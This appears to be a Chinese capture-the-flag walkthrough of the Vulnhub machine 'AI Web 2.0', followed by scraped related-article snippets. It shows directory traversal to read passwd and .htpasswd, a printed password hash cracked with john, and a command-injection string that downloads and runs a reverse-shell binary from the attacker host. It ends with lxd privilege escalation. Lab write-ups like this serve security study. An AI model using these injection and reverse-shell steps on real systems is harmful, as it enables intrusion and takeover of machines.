AI Web 2.0
kali: 192.168.0.103
目标机:192.168.0.105
0X01 扫描端口和目录
a)扫描端口
开启了80和22端口
b)扫描目录
看到两个敏感字样的目录
尝试访问/webadmin 目录,没有账号密码进不去
另一个也被禁止访问
c)深度扫描目录
dirb http://192.168.0.105 -X .txt,.html,.php,.zip
看到有个download文件,但是下载后是个空文件
0X02 查看80端口的网页结构,获取有效信息
是一个不需要密码的登陆界面,尝试admin登陆没用,注册一个账号登陆进去
暴露了这是一个文件共享的系统
Google搜索此系统
得到两个漏洞
一个目录遍历
一个跨站请求伪造
0X03 使用目录遍历
有两个文件可以目录遍历,尝试任选一个包含passwd文件成功
0X04 爆破ssh
通过passwd我们可以看到用户名是aiweb2
尝试进行爆破ssh登陆
并没有获得密码
0X05 查看配置文件和日志文件,尝试包含日志
得到一个apache配置文件,没得到什么信息
读取apache和ssh日志,都失败,可能没有权限读取
后来查看别人的文章才知道,思路是对的,但是文件没找到,读取/etc/apache2/.htpasswd文件,为什么会想到查看这个文件,后面我理解了,因为之前我们扫到了webadmin的目录,网站后台登陆
读取/etc/apache2/.htpasswd文件得到一串密码aiweb2admin:$apr1$VXqmVvDD$otU1gx4nwCgsAOA7Wi.aU/
使用john破解hash,将密码粘贴到test.txt中
john --wordlist='/usr/share/wordlists/rockyou.txt' test.txt john --show test.txt
rockyou.txt是收集的已泄露密码文件
0X06 进入网站后台
暗示我们查看robots文件
查看两个目录,第一个是ping命令,联想到命令执行漏洞
第二个目录,翻译:在此目录中找到多汁的信息!!!
使用dirb 搜索目录,什么也没找到
0X07 利用第一个目录
a)查看是否有命令执行漏洞
b)命令执行漏洞存在,使用漏洞获得shell
使用命令执行下载大马上去,密码正确进不去
下载msf生成的php文件,访问上线后立马挂掉
写了个一句话木马进去,也连不上,也不知道为什么
最后用msf的linux/x86/meterpreter/reverse_tcp这个payload反弹成功,制作过程不演示,
|| wget http://192.168.0.103/shell || chmod +x shell || ./shell
0X08 提权
a) 查看当前网站目录下是否还有遗漏的重要信息
在另一个目录下发现隐藏文件,查看内容记录着ssh的账号密码
b) 登陆ssh
uname -an 查看内核信息 不优先使用内核提权
id 查看当前用户权限 发现lxd
LXD:Linux的下一代容器管理器
谷歌搜索相关漏洞: lxd exploit
查到一条相关漏洞,版本要求Ubuntu18.04
cat /etc/issue
查看当前版本,可以利用
下载exp并查看是使用说明
AI Web 2.0的更多相关文章
- AI Web 1.0
kali:192.168.0.103 目标机:192.168.0.105 0X01 端口和目录扫描 打开目标主页没有任何信息 a) 端口扫描 只有一个80端口开启 b) 目录扫描 0x03 查看敏感目 ...
- AI:WEB:1 Walkthrough
AI: Web: 1 Vulnhub Walkthrough靶机下载:https://www.vulnhub.com/entry/ai-web-1,353/测试方法: Nmap网络扫描 浏 ...
- 语义网 (Semantic Web)和 web 3.0
语义网=有意义的网络. "如果说 HTML 和 WEB 将整个在线文档变成了一本巨大的书,那么 RDF, schema, 和 inference languages 将会使世界上所有的数据变 ...
- 说说web 2.0生态圈的那些事
先来说一道面试题吧,“说一下,web 2.0 和web 1.0的区别?” 官方的解释是这样的: Web1.0 的主要特点在于用户通过浏览器获取信息,Web2.0 则更注重用户的交互作用,用户既是网站内 ...
- 基于Server-Sent Event的简单聊天室 Web 2.0时代,即时通信已经成为必不可少的网站功能,那实现Web即时通信的机制有哪些呢?在这门项目课中我们将一一介绍。最后我们将会实现一个基于Server-Sent Event和Flask简单的在线聊天室。
基于Server-Sent Event的简单聊天室 Web 2.0时代,即时通信已经成为必不可少的网站功能,那实现Web即时通信的机制有哪些呢?在这门项目课中我们将一一介绍.最后我们将会实现一个基于S ...
- asp.net web api2.0 ajax跨域解决方案
asp.net web api2.0 ajax跨域解决方案 Web Api的优缺点就不说了,直接说怎么跨域,我搜了一下,主要是有两种. 一,ASP.NET Web API支持JSONP,分两种 1, ...
- 关于web.xml3.0启动报错
九月 08, 2017 10:18:19 上午 org.apache.tomcat.util.digester.SetPropertiesRule begin 警告: [SetPropertiesRu ...
- O'Reilly总裁提姆-奥莱理:什么是Web 2.0
O'Reilly总裁提姆-奥莱理:什么是Web 2.0 译者序:Web 2.0这一概念,由O'Reilly媒体公司总裁兼CEO提姆·奥莱理提出.他是美国IT业界公认的传奇式人物,是“开放源码”概念的缔 ...
- Web 2.0应用客户端性能问题十大根源《转载》
前言 Web 2.0应用的推广为用户带来了全新的体验,同时也让开发人员更加关注客户端性能问题.最近,资深Web性能诊断专家.知名工具dynatrace的创始人之一Andreas Grabner根据自己 ...
随机推荐
- Solution: 题解 CF1196E Connected Component on a Chessboard
感觉这题还可以 因为总空间比输入数量 不知高到哪里去了 ,所以完全不需要考虑放不下的问题 从贪心的角度考虑,如果要使相差数量巨大的\(b\)和\(w\)能够成功放下来,应该使这些方块尽量分散(似乎有点 ...
- 用WORD批量制作工作证件
用WORD批量制作工作证件 一.采集电子照片 电子照片的采集要求以的名字作为照片的文件名,保存为“.jpg”格式,尺寸和大小需保持一致. 二.制作信息表 制作Exice数据信息表,包含姓名.年龄.部门 ...
- Oracle批量创建同义词
一.介绍 Oracle的同义词(synonyms)从字面上理解就是别名的意思,和视图的功能类似,就是一种映射关系.它可以节省大量的数据库空间,对不同用户的操作同一张表没有多少差别;它扩展了数据库的使用 ...
- 安装node,vue编译环境
1.安装npm:wget -qO- https://raw.githubusercontent.com/creationix/nvm/v0.34.0/install.sh | bashnvm inst ...
- 暑假第一周总结(在centos虚拟机上安装jdk以及hadoop并对hadoop进行配置)
本周主要就是对虚拟机进行安装并在上边安装jdk以及hadoop并对其进行配置. 在看林子雨老师的教程时,下载了老师所给的全套的下载软件,在安装时发现老师所给的VirtualBox安装后无法正常启动,尝 ...
- python笔记15
今日内容 模块知识 内置模块 time datetime json 其他 内容回顾 & 作业题 重要知识点 构造字典和函数对应关系,避免重复的if else a=1 b=2 ==> a, ...
- HDU_1495_模拟
http://acm.split.hdu.edu.cn/showproblem.php?pid=1495 自己用模拟写的,先除以三个数的最大公约数,弱可乐为奇数,则无解,然后开始模拟. 利用大杯子和小 ...
- [教程分享]锐族MP3刷固件教程
转载自我的博客:https://blog.ljyngup.com/archives/163.html/ (废话较多见谅) 在到学校前发现几个月前锐族mp3的固件更新了,赶紧刷了一个,发现网上关于这个售 ...
- False注入,以及SQL注入技巧总结
title: False注入,以及SQL注入技巧总结 date: 2017-04-25 00:23:31 tags: ['SQL注入'] --- 利用False我们可以绕过一些特定的WAF以及一些未来 ...
- 【人类观察所】"当代人"正经历的生活
一."即时满足"的互联网 "轻微烦躁,偶尔自燃,当代生活多数时刻的心情基调." 如果你出生于上个世纪,应该能明白木心的<从前慢>里的 「从前的日色变 ...





















